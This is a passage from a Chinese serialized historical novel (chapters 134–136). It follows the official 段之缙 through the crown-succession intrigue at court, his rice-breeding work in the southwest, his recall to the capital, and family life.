段之缙接过谢恩,小王爷又问了几句佛法上的事情,他一知半解,小王爷对佛理之见解却不是段之缙能比的,两三句把他问得哑口无言,顿时有些失望。 轿子里传来一声轻笑,一个男子清亮的声音透过厚重的轿帘传出来,他伸出一只骨节分明的手,拽着小王爷回到轿子中,又把布扎拉依扯了回去。 而后段之缙只听见他低低的嘱咐声,“你们两个安生些,外边天寒不要伤风才好。还有你,成日谈佛论道,可段大人不好这一口,你这般诘问岂不是难为他?若要问对着你的师傅问去。” 话音落下一阵,从里边走出了一个高挑俊秀的男子,一身杏黄色服饰一丝褶皱也没有,面上笑意盈人。 正是皇太子殿下。 好家伙,这轿子里挤着三个人! 段之缙心里有些嗔怪秦先生,身子却赶紧下拜行礼,“臣段之缙拜见太子。” 还不等膝盖着地,便被太子扶了起来。 “你是父皇跟前儿第一得意的能臣,又为朝廷立下种种功劳,不必再拜了。孤常听父皇说摊丁入亩的事情,只是到底不如办差大臣亲自说,不如你跟孤讲一讲。” 段之缙讶然,大冬天寒风里还有这样的闲心?只是自己也不好拒绝,将事情细细地汇报一番。 也是他的过错,方才皇太子表现得实在好,段之缙便以为是皇帝要求太高,汇报起来就细之又细,事情复杂了起来,眼见着太子的眼神逐渐清澈又慢慢涣散,段之缙恍然大悟,后来的事情长话短说草草做结。 怪不得怪不得,段之缙若是没记错,皇太子也三十多岁了,现在听个政事还如此费力皇帝他就不可能满意。 皇太子没话找话硬拉着他说了几句,临分别时握着段之缙的手叮嘱道:“若你在西南有麻烦,大可来信找孤,孤定然是竭力相助。” 段之缙顺势下拜,不留痕迹地把手抽出,“太子看重臣是臣的福气,只是臣之一身一命皆为陛下所赐,陛下也惠爱下臣,曾有诏叫臣不要乱找门路,一切事情详细报于陛下。” 皇太子脸色一僵,脸瞬间耷拉下来,再也不想管段之缙,却被丁承祖瞪着行动,有些不情不愿地将他扶起来。 “那就……那就这样吧。” 丁承祖和蒋育成恨不得拍他的脑门,最后还是把那口气憋下,看着秦行携段之缙离开。 段之缙一路上脸色不好,脚步飞快,秦行到底年纪大了有些跟不上,出声抱怨道:“走那么快做甚?你家里也没你媳妇啊!” 段之缙猛地回头气道:“先生啊先生,我!”他想张嘴说些什么,又实在不敢相信秦先生也扯进了这样的事情里,最后问道:“这到底是什么一回事儿!” 秦行呵呵一笑,“你呀你,还是太年轻了,只知道闷着头办差,问问家里人有没有吃饱穿暖,有没有遭人欺负,却不知道多记挂着他们是怎么过日子的。我问你,你知不知道你弟弟这次考试又没中?” “学生自然知道。” “那你知道国子监的生额是怎么来的吗?” 段之缙心内一沉,“是太子?”又深觉不可能,“别的不说,学生还是了解母亲和弟弟的,若受人恩惠绝对不至于不与学生说。” “若他们压根不知道呢?” “先生这是什么意思?” 秦行娓娓道来:“你弟弟落榜的消息,除了几个亲友也没人知道,朝中更是不知道这号人,更何况皇帝了,他更不会关心这个。但别人不关心有旁人关心。皇太子在侍奉的时候突然说起了这个事情,求陛下体恤功臣,为你弟弟赐一个生员的名额。皇帝还觉得他长进了呢。” 段之缙心中火气,真够有意思的,什么都不说,叫人平白承了你的情,连拒绝的机会都没有。 秦行又道:“他在皇帝跟前儿说尽了你的好话,今年有些弹劾你的折子也是他在压,在众人面前为你求情。即便你什么都不说,什么都不做,你身上也盖好了皇太子的章,是皇太子的人了。” 段之缙回想刚才的情景,有不少“外人”在,今日的对话很快便能传到皇帝耳中,算是一个不留痕迹的表忠心的方式。 他现在露出了笑模样,“我便知先生不能害我!只是皇太子在京中,而学生还要回南诏,总归是防不胜防。” “所以你要找时机跟皇上谢恩,把你弟弟的事情说清楚,告诉皇帝你是丝毫不知情的。平日里也要多表忠心,但一旦问到和皇太子相干的事情,那就是一问三不知。” 段之缙深鞠一躬,“多谢先生,学生明白了。只是蒋先生他……” “何止蒋育成,还有李显宗呢。” “什么意思?” “他们两个人都是经史子集、诗书讲义吃透了的人,最重礼仪教训,皇太子再不好只要他没错就不应该被废黜,已经连着几次为陈妃请封皇贵妃了。” 可怜陈妃,虽有个立为皇太子的儿子,可位份竟然不及安贵妃,可见皇帝之薄情冷刻。 “两位先生不该卷入这种事情里。” 秦行笑着摇头,“你说的简单,可到现在这个地步,京官有谁能独善其身?苏橙一门心思倒向皇太子,他爹却最看不上皇太子,这你应该是知道的啊。一家之内尚且如此,何况一国呢。但你身在南诏,倒是可以避祸。” 段之缙深深凝视着秦先生,最后开口问道:“那您呢,您做好选择了吗?” 秦行点点头,却说道:“只是不能告诉你罢了。” 两人说着话已经走到了宫门口,两家的马车正在等候。 秦行抬头看看深不可测的黑夜,星子洒落在黑布上,一弯月亮高高悬挂。 “回家去吧,再和你的亲人们聚一聚就回南诏去,不要在京里呆太长时间。你的母亲和弟弟,宋征舆和你的妹妹我也会看顾,绝不叫他们有险。” 段之缙站在门口,猛地抱住了秦行,而后被轻推开,催着他上马车,等着回到家中已经是后半夜了,唯有弟弟和名为娇娇的缅因猫在等候。 “二哥!”段之绪两三步迎上来,又叫四周的奴才端茶递水上些好克化的粥菜。 “二哥怎么才回来,我还出去看了一遭,其他的大人已经到家中了。” 段之缙将巨大的娇娇抱入怀中,这大猫也有一岁多了,又吃得肥,很有份量,掂量着该有三十来斤,跟个秤砣一样压在身上。 他思量一番还是实话实说,将太子的事情讲清楚。 “你在国子监内要处处小心,不要随便受人恩惠也不要轻易交朋友,要知道这天上从没有掉馅饼的时候,免费的定然是最贵的。咱们家不比方家,也比不上苏家。他们这两家都是世卿世禄的家族,世代与总是联姻,就算是败了又怎样?打断骨头还连着筋呢,说到底全是亲戚。” 段之绪泪都流下来,直说自己连累了二哥,段之缙却不以为然,“国子监的生额说到底是我办差挣下的,那就是咱们家应得的,说什么连累不连累?” 因家中就他一个男丁,又早晚要入仕,便将一些要紧的东西叮嘱给他,等着过了正月十五便收拾东西启程,无论是摊丁入亩收尾还是杂交水稻都等着他来做呢。 第134章 134段之缙春耕之前回…… 段之缙春耕之前回到了南诏总督衙门,看着家里的段一撮顿觉这只十五斤重的肥猫也小巧玲珑了起来。 而且它还能干得很,比娇娇那只胆小的猫儿伶俐许多。 而沈白蘋也已经得到了章明夫人的封号,她这些日子都是喜气迎人,连段诠调皮捣蛋都没有多说几句重话。 诰命夫人的称号往往是家中的男丁有功绩,女性因而得到的荣誉,而夫人的称号则是因为其本身对朝廷有功,才能够得到朝廷的恩赐。 除了皇帝的乳母之外,只有皇太子或者是格外受宠的皇子的乳母得到过,本朝并没有对一般的官员家眷赐过夫人称号,沈白蘋也算是开了先例。 现在的段家虽不敢与那些百年氏族相提并论,但也是朝政说得上号的人家了。 段之缙和沈白蘋回到后衙的卧房中,七岁的锁儿站在父亲跟前背书。 说起来,他既不如柳师爷的那个儿子,也不如京里的珠珠,不长的诗词背得也有些费劲,不知是因为不太聪明还是平日里不用功的缘故。但在段之缙看来却很好,在京里边滚了一遭,他才真正明白了那句“惟愿孩儿愚且鲁,无灾无难到公卿”的份量。 段诠能平平安安地长大即可,至于功名利禄,他父亲一等公的爵位是早晚的事情,世袭罔替,他自己还需要再做些什么呢? 还有俗话说的好,不怕二代败家,就怕二代创业,他自己不干人事被处置了倒是活该,只是连累了家人怎么办? 因此,瞧这孩子背书背得磕磕绊绊,倒也不觉得失望,反而叫他出去玩耍。 段之缙从带回来的行李中拿出了一匣子玩具,这都是从京城带来的,皆是母亲精挑细选装进去的。 其中有一个自行虎段之缙觉得很有趣,是用了西洋传来的发条装置,只要一扭老虎的尾巴,它就能自己“哒哒哒”跑起来。 除了自行虎之外,还有其他的自行动物。 段之缙将一整个匣子全都捧给了儿子,吩咐道:“明儿带着去学堂分一分,别自己个吃独食。不是还有那个小柳哥哥吗?多给他拿几个。” 段诠嘿嘿一笑,抱着匣子跑了,段一撮肥大的身子倒是灵巧得很,几个大跳,跟在段诠身后回了小院。 沈白蘋似笑非笑地看着他,叫段之缙忽得打了一个寒颤。 “他倒是亲香你了,你倒是好人,我成坏人了。又是送玩具,又是嘘寒问暖。瞧他书背得那个样子,怎么好意思的?” 段之缙讪讪一笑,“何苦去强迫着他呢?只要遵纪守法,不作奸犯科,能当一个傻子,也是一个快乐的傻子。像我们这般,我倒是觉得累得慌。” 沈白蘋却道:“你倒是说得好,他现在是个小孩,什么也不知,正是需要人管束的时候。现在三天打鱼两天晒网,等着他日后想要上进,那时候底子已经很薄了,跟也跟不上,岂不是耽误了他?若是他什么东西都懂了,待人接物也明白了,经过深思熟虑,仍然是不想走这条道。那随便他,反正已经有了一等功的爵位。” 段之缙叹服:“是,是,你说的极对,是我想差了。那我现在去把他抓回来?” 沈白蘋又瞪他一眼,“你真是吃了吐,吐了吃。都叫人跑了,还去为难他做什么?等着明天再说吧,你也回来了,给他好好的立立规矩……” 两个人絮絮叨叨说了些教育孩子的事情,这才安生地睡下了。 既然已经回到了南诏总督衙门,现在段之缙最主要的事情就是指挥。 汉地摊丁入亩的事情已经基本上完成,夷地摊丁入亩的政务也该趁热开展下去。 这是汉、夷的情况不同,有些事情得因地制宜才好。 夷民们普遍比汉人贫困,生活环境也更为恶劣,他们土地若要摊丁入亩,不能征派太多的银子。而且刚刚臣服的土司也应该怀柔安抚,不能一开始就抠一大批银子出来。 因而这一笔钱收得极低,起征点也设得更高。 期间并非没有土司降而后叛的,只是秋后的蚂蚱不成气候,很快就被平息了下去,也没有牵连太多人。 段之缙对吴家的承诺也有好好安排着实行下去,他们家新任的县令都集中在岺州一带,人生地不熟,和本地的土著相互猜忌,又相互配合,朝廷在其中调解,达到了最难得的平衡状态。 两省的治安前所未有得好,只要能够一直保持此种状态,汉人和夷族相互同化之后,哪还有汉夷之分,华夷之辩? 至于穹迦高地上,朝廷已经派了大臣监管,在小活佛回到高地之前,由朝廷全权掌控这片土地,兴建佛寺,传播佛教,清缴扰乱人心的邪说异端。 既然西南的事情已经完成,方叙墨、苏橙二人也该回京去,苏奋也已经接到了朝廷的调令,军队重新由段之缙、向古全权掌控,而他回京中述职,皇帝会给他重新安排差事。 因方叙墨和苏橙二人是直接从西北军中回到京城,他们既不能进去段之缙的地盘来拜访,段之缙也不能出省去相送,但是于情于理,苏奋他一定要去送。 交接好事务,向古、段之缙在城门口送苏将军启行,段之缙置酒一杯递给苏将军。 “将军满饮此杯。” 苏奋接过,仰头饮下,又喝了向古递来的酒。 这一别却是不知几时能够再相见了。 苏奋叹一口气,“京中的局势波谲云诡,若非是皇帝下诏,我真不想回去。” 段之缙劝慰道:“京中有将军的妻儿老小,一家人团聚不比在营中强无数倍?” 苏奋从鼻子里喷出一股恶气。 “家中的老妻自然是牵肠挂肚,那几个蠢才……唉!我回去有什么意思呀?” “大人谦虚了,小苏大人可是皇帝眼前的红人,又已经尚公主,做了驸马,前途一片光明。怎好说人家是蠢才 呢。” 向古也跟着取笑,“苏橙是蠢才,我们也还算得上是人?” 苏奋不说话,段之缙也能猜到些,无非儿子和自己的政见不同,谁也不知道苏将军在支持哪一派,但苏橙支持的皇太子一派定然是他不满意的。 但表面上如此,段之缙就一定信吗?说不定苏家是两边下注,到时候哪一边赢了都不至于让他们合家破灭。而剩下的一方原地起飞也未可知。 这办法很难实行,因为一个家族就是一个整体,若非有充足的理由,这种行为只会叫人觉得是首鼠两端,迎风倒的窝边草。 只是苏橙不同,他十几岁跟在皇上身边,抱扶绥王殿下最为小心,自己又机灵聪慧、雄壮漂亮,无论是皇帝还是绥王都极为喜爱他。 苏橙和绥王亲善异常,绥王虽小,但和皇太子同进同出,又因为年纪够小,在八岁之前都与太子同饮同食,若有不知道其中底细的,定然会以为他们俩是一母同胞。 和绥王亲善,因而违逆父亲站在太子一边,似乎不难说通。 至于苏奋内心真意如何,若不是外人能知道的了。 苏奋自己生了会儿闷气,抬眼看看段之缙,“段大人也不要宽慰我了,您过不了几年也得回京去。” 段之缙心里也清楚得很,等着杂交事毕他一定是要调回京城的,若非是杂交在西南一年三熟的地方能够更快地推进,现在他就得调回京城去。 “那时候,段大人怕是比今日之我更为忧愁。” 段之缙苦笑颔首,又说了几句话,送苏奋上马。 其他的事情了结,段之缙全身心投入到育种中。 景淳七年,附属国上贡了新的水稻品种,被皇帝赐给了西南一部分,旱稻和水稻杂交之后,新的植株不仅很适应水生环境,还正是能够稳定遗传雄性不育性状的品种。 虽说这一批稻子稻穗虽很是一般,但抗倒伏能力却很好,西南大风过境,竟然有一大半都硬生生挺住了,段之缙又抓紧时间报祥瑞,趁机提议把总督衙门往南边一年三熟的地方挪动。 原因无他,为了育种他是要在南边儿常驻的,但离着总督衙门十万八千里,吩咐什么事儿都不方便。 皇帝自然同意,力排众议将总督衙门挪了,叫朝中众臣气得牙根儿痒痒。 跟迷了心窍一样,姓段的说什么都同意。 等到景淳十年,在段之缙的主持下,经过九轮大范围的育种选种,终于找到了选育高产品种的方向,最新的一批稻子亩产已经达到了四石。 等到景淳十三年,这场悄无声息的育种工作终于告一段落,近乎是石破天惊,段之缙改良的瑞稻从西南横空出世,在淮宁等地试种之后亩产达到了六石,最低产也有四石之多。 大家和段之缙有天大的恩怨都得往后放放了,那些日子无人不欢喜,无人不雀跃,只是听着这稻子的名字,大家又酸得牙疼。 真够会拍马屁的,取个名字竟然叫“景淳稻”。 皇帝大喜过望,连着一个月都在圜丘祭天地,又跑去太庙祭祀列祖列宗,不仅兑现了一等公的承诺,还真的公开下旨,待其死后配享太庙,这一次才真叫人嫉妒红了眼珠子。 与此同时,召他回京,任命他为内阁大学士兼军机大臣的圣旨也已经送到了南诏总督衙门。 第135章 135段之缙再次回到京…… 段之缙再次回到京城的时候正是十三年冬季,拖家带口,还带着大部分的师爷,迎着风雪一路北上,明明南诏的事情就在不久之前,但恍惚之间似乎是几年前的事儿了。 眼前的京城才是未来。 后边的马车上,段诠正和他的好兄弟们“之乎者也”,中间的马车上,沈白蘋攥着段之缙的手安慰。 “我知你不想回京趟浑水,但圣旨已下没有咱们讨价还价的余地,再者母亲年事已高,咱们多年在外还是要回家尽孝的。” 段之缙反握住她的手,“陛下已经允准将京畿地区的育婴堂、养老堂等都交于你管理,你也别念念不忘着南诏、岺州的事情,日子总还要接着过。” 沈白蘋轻松一笑,“我有什么放心不下的?咱们走的时候育婴堂的孩子们已经有了生计,他们亲如兄弟姐妹,相互撑腰,还有当地的官员们照顾,我还有什么记挂的?至于其他政务,那更顾不得了,回京之后你入内阁、军机处,大江南北、五湖四海,什么事情不得你们这些人来做?你还能不同我商讨吗?” 夫妻二人相互安慰一番,又跑到前边的马车上和阿娘说话,没有太长时间,一行人就浩浩荡荡进了城。 进城的第一件事,沈白蘋带着其余人回家拜见母亲,段之缙则进宫叩见皇帝。 他递牌子求见,还要在乾清宫门口等候片刻,过了一会儿吕太清才将他领进去,迈过门槛一看,好家伙,乾清宫里乌乌泱泱全是人。 两个长相有四五分相似的年轻人跟在皇帝身边,他只认得一个——绥王纪明瑚,另一个有些眼熟,不过猜猜也能猜到,想必就是三皇子纪明祚。 除此之外,长乐王、郑楒琅、苏橙、方叙墨等人也全都在殿内侍立着,跟皇上说话逗趣,甚至有他的弟弟段之绪,现任的工部员外郎跟在长乐王身边。 行完跪拜礼之后,皇帝召他上前来。 “你这一年过的怎么样?” “托圣上庇佑,臣在西南一切都好。” “是了,你还年轻,自然是身强体健。” 长乐王在一边笑,“臣见着段大人越发像个农夫了”。又转头问郑楒琅:“你瞧你这个同窗像不像咱们出去办差时碰见的农夫。” 郑楒琅笑道:“像农夫,又像隐士。晨兴理荒秽,带月荷锄归,农夫有几分清高气不就是隐士吗?” 皇帝听着哈哈大笑,“旁人不知,你们还不知?陶渊明是草盛豆苗稀,若他的地里草盛豆苗稀,怕是会吓得昏厥。” 郑楒琅是能言善辩的人,接着皇帝的话茬又逗趣几句,整个乾清宫的氛围就活络了起来,一切万般祥和。 但是头一天进宫,以后还要长留京城,段之缙眼观六路耳听八方,总要观察观察,这一观察就发现了了不得的事情。 这两个双生兄弟也有意思,三皇子和小绥王说着话,小绥王却是一副兴致缺缺的样子,只顾着和他爹撒娇卖乖。 说起来也好笑,十六岁的人了,明年就要十七岁,在皇帝面前行事却不见什么长进,仍如同孩子一般。 这十来年间,皇帝的身子不好不坏,就是如此支撑着,不复未登基前手拉八力大弓的壮硕体魄。 他和他的绥王愈发相像,都是一副清弱的样子。 前朝有说有笑,后宫之中灵慧公主正在两宫太后跟前儿抄经。 晨光斜斜射入琉 璃屏风,如一道澄净的金色薄纱,浮在半空之中,两宫太后端坐于前,轻声地说着话。 灵慧一身青色素衣,一根檀香木簪挽起长发,不见丝毫珠玉。 她微垂着头,手腕悬起,执笔的手指纤细,纸页之上墨迹蔓延出一行行工整的小楷。 终于抄到了最后一句,灵慧将笔搁下,缓缓直起身,将经卷卷起,双手捧着行至太后座前,屈膝跪下,双手将经卷举过头顶,“太后,经文已毕。” 惠安太后将经文拿起阅览,一边可惜道:“你的佛性不及奴奴,字也不如灵寿有风骨。不过胜在认真,这份心是最难得的。” 灵慧面上不见一点儿情绪,慢慢磕头道:“儿臣谨记太后的教训,定然勤加练习。” “你能记住就好。”惠安太后将经文交给嬷嬷,嬷嬷又呈给了惠文太后,惠文太后接过,又戴上眼镜一个字一个字地看了,最后笑道:“我瞧着这字是不错的,再说她一个女孩儿要什么风骨?像这样小小的也很好,秀气得很。” 她说完招灵慧到自己的事前问道:“你驸马最近如何?哀家那小妞妞怎样了?” 灵慧低头答道:“驸马认真办差没有不是,二姐儿也健健康康的,前儿还学会了吃肉糜,吃了好大一碗,连奶也不进了。” 惠文喜道:“能吃就好,吃得多长得好。你弟弟如何?” 她弟弟有好几个,但能得惠文太后垂询的唯有奴奴弟弟。 “太后还不知吗?四弟还是老样子,不是在皇太子宫中腻着,就是跑到佛堂里念经,昨日父皇找他他竟然不去,说什么诵经不能断,又叫父皇生气。” 惠安太后无奈地摇摇头,“他就是那样的脾气,改也改不了,不过还是孝顺孩子,就是在这种事儿上轴一点。” 左右绥王又不能继承皇位,只要不谋反,一辈子的荣华富贵还是有的。 惠安太后甚至乐见其成,她知道皇帝的打算,作为方家女自己家压对了宝能够再兴盛起来,她如何不愿意?奴奴刁蛮点儿就刁蛮点,正好显得明灯聪明懂事。 灵慧又陪了两位太后一会儿,起身告退出宫,路上碰到了灵寿公主正从皇后宫中出来,她赶紧上前行礼。 灵寿扶着她起来,姐妹二人说着家常话,临分别时灵寿看着眼前怯懦的妹妹,提醒道:“父皇的心思我们都明白,那些大臣是因为早就上了大哥的车,跑不掉了只能一条路走到黑,可你的丈夫根本没必要坐在大哥那辆破车上。咱们都知道,这辆车一定会坠崖的,到时候车毁人亡,平白连累了你。” 灵慧手里的帕子几乎要叫她拧碎,最后一脸无能为力地说道:“阿姐,我那公公何等的英雄人物,在军中令行禁止、说一不二,他都管不了苏橙,我是个妇道人家,他是个男人,又是我的丈夫,我……我怎么好管他呢……” 她不过是清秀的样貌,这些年来的日子似乎不怎么顺心便显出来几分疲态。 灵寿气恼道:“你是公主!他敢不听你的!” 灵慧听着有些害怕,似震惊地问道:“我是女人,女人管男人岂不是……” 真够丧气的! 灵寿恨铁不成钢地戳了戳她的脑袋,“你得硬气起来,不能叫他欺负你。”可她还能真的不管妹妹吗?显然不能,这个妹妹不受宠,性子胆小怕事,她的母妃又教给她些夫为妻纲的胡话,闹得公主之尊都顾不得了。 两姐妹慢慢走到了宫门口,正要各上轿辇的时候,乾清宫那边也散了,苏橙、方叙墨见了自己的媳妇上前伺候,扶着她们上轿,又给对面的公主见礼。 灵慧倒是叫方叙墨起了,灵寿却冷嗤了一声,带着丈夫离开。 灵慧裹着大毛衣裳从轿子中探出头,招呼道:“人都走了你还在那跪着做什么?赶紧上来!” 苏橙赶紧掀开帘子进去,又摸摸公主抱着的手炉,似乎有些凉了,换上新炭又塞了回去。 灵慧闭目安神,怀里搂着手炉,脸上带着淡淡的笑意。 她喉中轻轻哼着歌谣,片刻后近乎是在嘲弄地问道:“你说,他们怎么对这件事儿如此笃定,笃定到似乎能预知未来,连一丝后路也不给自己留?” 苏橙呷一口普洱茶,笑答:“他们所拥有的,全是天赐的,自降生以来,天就是那么慷慨,自然不知道天之阴晴难测,赐予你东西是希望你能供奉的。” 这些天真的人,以为事情说好了就是说好了,永远不能变。可如果真的这样,先帝的废太子是怎么回事儿?当今又怎么会想要废太子。 灵慧睁开眼睛,眼眶里似乎是一汪清泉,粼粼闪着波光,她在轿子里伸伸胳膊,轻声道:“明灯很聪明,身体又好,允文允武,无一不通。但他和我的姐姐一样,全靠着父皇爱,却不肯从小事上关怀一下父皇。只闷着头读书理政是不足以做太子的,因为太子是天下第一等的苦差事。” “你跟在父皇身边儿最久,该知道父皇年纪越大,越离不开奴奴,为什么呢?不就是因为奴奴贴心?他自己身子不好,却能在父皇染疾的时候昼夜侍候,晚上就睡在床前的脚踏上,比吕太清那奴才都尽心,其他人倒是好笑,陛下怜惜他们不叫他们来侍疾,他们倒真是娇惯自己,竟然真的只留我们姐弟俩伺候父皇。父皇嘴上不说,心里能没个疙瘩吗?” “是了,大家说绥王殿下刁蛮,可刁蛮的人那么多,长乐王的世子又刁又蛮怎么就成了父皇的眼中钉?” 外人都当他们站在太子的车上,殊不知太子人被废,他的车却不一定被毁,太子的属人连同他的亲信已经做好了换人驾车的准备。 包括太子本人,他心里明镜一般,自己被废不过是时间长短的问题,为了保全妻儿,也是为了保全自己,他这个现在的驾车者也在赌场上下了注。 至于绥王是如何想的,他自己愿不愿做太子倒是无所谓,事情一旦运转起来,哪是人力所能抗衡的呢?他便是不想驾车也不得不驾车。 “父皇垂垂老矣,可是他的权柄仍然握在手中,只有父杀子,没有子杀父了。我的这些个哥哥弟弟,没一个有本事闹一场玄武门之变的,这都想不到做忠臣孝子,打那时候起我便知道有些人成不了气候。”灵慧公主看着自己的丈夫,“本宫听说段之缙今日进宫了?” “对,他今日才到京城就进宫面圣了。” “他是父皇的宠臣,虽在西南十几年但论份量你们是不及他的,若有他说话定然是事半功倍,你们也要多多争取。” “我明白。” 车驾很快回到了公主府,两人携手进去,今年才刚满周岁的小女儿正在榻上爬动,屋子里烧得如同盛夏。 公主上前把女儿抱起,亲亲她肥肥的脸蛋儿疼爱道:“小心肝儿,好宝贝,谁是未来的郡主呀?原来是咱们小宝贝……” 第136章 136乾清宫叫散之后,…… 乾清宫叫散之后,段之缙便和弟弟一起回家,在路上问起了他的谋算。 “你做官也有几年了,可有什么志向?若想调到别的衙门未尝不可。” 段之绪闷头有些丧气,“说出来怕二哥笑话,我胸无大志,想要去内务府造办处任督瓷官,不想在六部呆了。” 段之缙什么都想到了,唯独没想到他想去任督瓷官。 在六部官员眼中,这都不算是什么正经的差事了,且工作又苦又累,一个闹不好就要被申饬,因而也不算是什么好差事。 “你可想好了,督瓷这个差事可又辛苦又繁琐,不仅需要对朝廷的礼制烂熟于心,瓷瓶上有几条龙都要弄清楚,还得懂陶瓷的技术。据我所知,陛下叫人折腾出了珐琅彩还不够,还想弄那些失传的制瓷技术,现任的督瓷官已经焦头烂额了。” “二哥,我是深思熟虑之后才想到这个去处的。还没当官的时候我就想过,但二哥你也知道,母亲那里我不好交代……” 段之缙的身子随马车的摇晃而晃动,脑子也觉得迷迷糊糊了起来。 虽不明白为何想去这地方,但段之缙还是支持这个弟弟的。 “你有这个志向我绝不会拦你,还要帮你操作起来,但问题在于你会制瓷吗?督瓷官可是要和工匠们同食同住,参与御瓷烧制的。” 段之绪眼睛登时一亮,“二哥放心,我不仅读了大量许多制瓷的书,还跟京里的传教士探讨过外国制瓷的技术……”许是这回说起了他感兴趣的事情,段之缙才发现这个弟弟竟也能滔滔不绝的讲话,门道儿都很清楚,看来有这个想法也不是一天两天了。 制瓷也挺好,什么人什么事都会被历史的尘土掩埋,但瓷器永远不变。 段之缙承诺弟弟一定会和皇帝请旨,两个人一起回到家中准备过年。 景淳十三年的除夕是十多年来头一遭聚得这样齐全,白天兄弟二人把宫里赐下的福字贡上,又贴福字和对联,指挥奴才们收拾家里,晚上大家一起吃年夜饭。 因为宋母五年前去世,宋家再没了长辈亲眷,连已经出嫁的段云霓也领着她的小哥儿、小妞妞来了。 全是一家人,自然不讲究什么男女之别,年夜饭都聚在一张桌子上吃酒,段诠、段訚和宋兰晫三个小孩儿被催着玩些行酒的游戏来,给大人们弄些乐子。 王虞搂好了宋兰晞这个外孙女和段婧这个孙女笑眯眯地看,商量好了以“春”为字眼做飞花令。 因为孩子年纪小,宋兰晫身子又不是很好,所以酒由父母代喝。 段之缙愁眉苦脸地看着儿子,“你可千万别叫爹爹醉死在这里。” 段诠倒是不服输,“虽哥哥已经做了秀才,论背诗我未必背不过他。” 王虞叫他先起头,段诠张口说道:“春眠不觉晓,处处闻啼鸟。” 段訚接道:“春城无处不飞花,寒食东风御柳斜。” 宋兰晫紧跟着背:“春江潮水连海平,海上明月共潮生。” “江南无所有,聊赠一枝春。” …… 由易入南,前几百轮都是顺顺利利,两个女孩儿虽年纪小些,但也跟着玩了不少,诗词都要说尽了,段诠先开始卡壳,幸得他鬼心眼子一大堆,念道:“二月春风弄柳烟,桃红数点染山川。” 段訚是几人中年纪最长读书最多的孩子,又有功名,此时听到未曾听过的诗句便虚心求教。 段诠嬉皮笑脸,“我胡诌出来的。” 大家就催着段之缙喝酒。 喝到最后,这场上清醒的竟只有段之绪一人,两个姨娘也替着喝了些,宋征舆醉得最死,也是有他酒量不好的缘故。 宗征舆一直醉到了翌日下午,房间里空荡荡得只剩他一人,外边噼里啪啦的炮竹声不绝于耳,虽吵得头疼也觉高兴。 他叫人来收拾了一番,刚出门就被大舅子拽进了书房。 段之缙叫人给他上醒酒汤,问起了朝中的事务。 “咱们都是一家人,我也不跟你兜圈子,太子的事情如何?” 宋征舆迟疑道:“说不好,整个朝廷都牵扯在这上边,圣心已定但我觉得事情没那么简单。” “这话怎么说?” “废立太子是国之大事,皇太子无错也不能无故被废,现在太子什么事也不管,什么话也不说,我瞧着他是想和皇帝熬一熬。” 段之缙想想纪禅的脾气,蹙眉道:“太子作为储君什么事情都不干本来就是错处,且他自己的能力有限,皇帝想要抓他的毛病并不难。我想问的是三皇子纪明祚。” “若太子被废,他必然是板上钉钉的太子了。” 那苏橙是为了自寻死路吗?他是皇帝的近臣、宠臣,十几年前就跟在皇帝身边,如今和宋、方二人同在军机处行走,他不可能不知道皇帝的心思,怎可能拿自己的前途和家族的未来开玩笑? 这其中定然有问题。 段之缙又问:“我十几年不在京,朝中动向我知不甚清楚……苏橙是什么时候跟定了皇太子的?皇帝为什么不恼他?” 这些都算是陈年往事了,宋征舆也记不太清,有这件事儿的记忆以来苏橙就已经站在了太子一派。 “弟也不清楚,至于皇帝为什么不恼他……苏橙本身就是个执拗较真的脾气,他看不惯皇帝无故废黜太子也正常吧……” 这话说得他自己都不太相信。 宋征舆深思起来,这么一说苏橙也太奇怪了些。 苏奋是不掺和这件事儿的,毕竟他一个卸了兵权的武将,谁当皇帝他都是听命领兵打仗,无非是受不受重视的差别。 苏橙作为他的儿子却早早站好了队,甚至和别人反着来。 宋征舆呷一口醒酒汤,差点酸掉了眉毛,脑子却一个激灵想起了许久之前的事情。 “似乎是灵慧公主出降之后!不过他那个时候倒没有一门心思走到黑,虽告了方叙墨的状但大家伙都以为他是太直了,看不惯方叙墨对太子不敬。前些年皇帝重疾之后他才屡屡向着太子说话。至于皇帝为什么不恼……说实话,朝中的大臣也有看不过皇帝做派的,成天地上折子劝谏,那个席翱教着绥王读书还要一天上三封折子呢,皇帝也没怎么着不是?” 段之缙听着,意识到前些年皇帝重病是关键之点,难道是因为他们觉得皇帝年命不久,太子登基在即?结果纪禅挺了过来,太子登基无望他们却已经湿了鞋,只能一条道走到黑。 还是不太对啊。 他接着问道:“皇帝患疾的时候,都发生了何事?” “能有什么事情?政务叫内阁和军机处处理,起卧之处换成了养心殿,此外风平浪静,倒没什么反常。” “周围伺候的人是谁?” “我只知道皇太子、绥王和灵慧公主去侍疾了,不过皇帝没用太子。” 段之缙听出了反常,“其他的皇子公主呢?” 宋征舆道:“皇帝是不叫他们来的,连妃嫔不准出入养心殿,是绥王和灵慧公主自己非要留下伺候,尤其是小绥王最为卖力,连着几宿趴在床头的脚踏上守着。” “三皇子没来?” 宋征舆只摇摇头。 段之缙顿觉好笑,这些做儿子做女儿的,他们的老子可是真有皇位要传下来的,怎么就不知道去讨好讨好,能多分一点儿是一点儿。 纪明瑚就很拎得清,虽平时对着他爹耍脾气摆脸色,但关键时候倒这能舍得下那副漏风的身子。 人生病困苦的时候,最是心理脆弱需要人安慰照料的时候,皇帝儿女一大群,最后只两个孩子守在榻前安慰。 …… 趁着开春当差之前,段之缙和自己的妹夫把这些年的局势全都捋顺了, 深觉不能趟浑水,自己该干什么就干什么。 弟弟也弄到内务府去做督瓷官,这下里里外外都与国本一事无关了。 但计划赶不上变化,辽河省摊丁入亩的事儿才做没几天,皇帝忽然提出叫段诠去给纪明祚当伴读。 “你自己读书、办差一直都很好,想来虎父无犬子,你的儿子也是伶俐人,叫他给三皇子做伴读,一块儿到尚书房读书吧。” 段之缙也顾不得什么,当即跪下推辞,“小儿蠢笨,不敢叫他陪侍皇子,且家母十几年未见小儿,现在日日离不开,若叫他进宫读书恐要叫母亲伤怀了。” “你糊涂了?明灯已经进部学习,只上午去尚书房读三个时辰的书,下午进部你的儿子自然回家,不耽误什么。再者他们两个幼年相熟,也算是给明灯找个玩伴儿。” “说来也是臣的不是,对着儿子太过溺爱……” 段之缙接着推辞,皇帝不耐烦地打断他,“那就进宫来教一教,叫朕选的老师们好好教导。” 话说到了这个地步,段之缙只能领旨谢恩,下午办差都是心不在焉,在内阁蹲着,魂儿都飞回了家里。 只恨当天晚上还要在军机处值班,不能回到家中。 皇帝圣旨也下得快,段诠第二天就被领着进宫学习。 段之缙下值赶回家中时,这个小子也已经回了家。 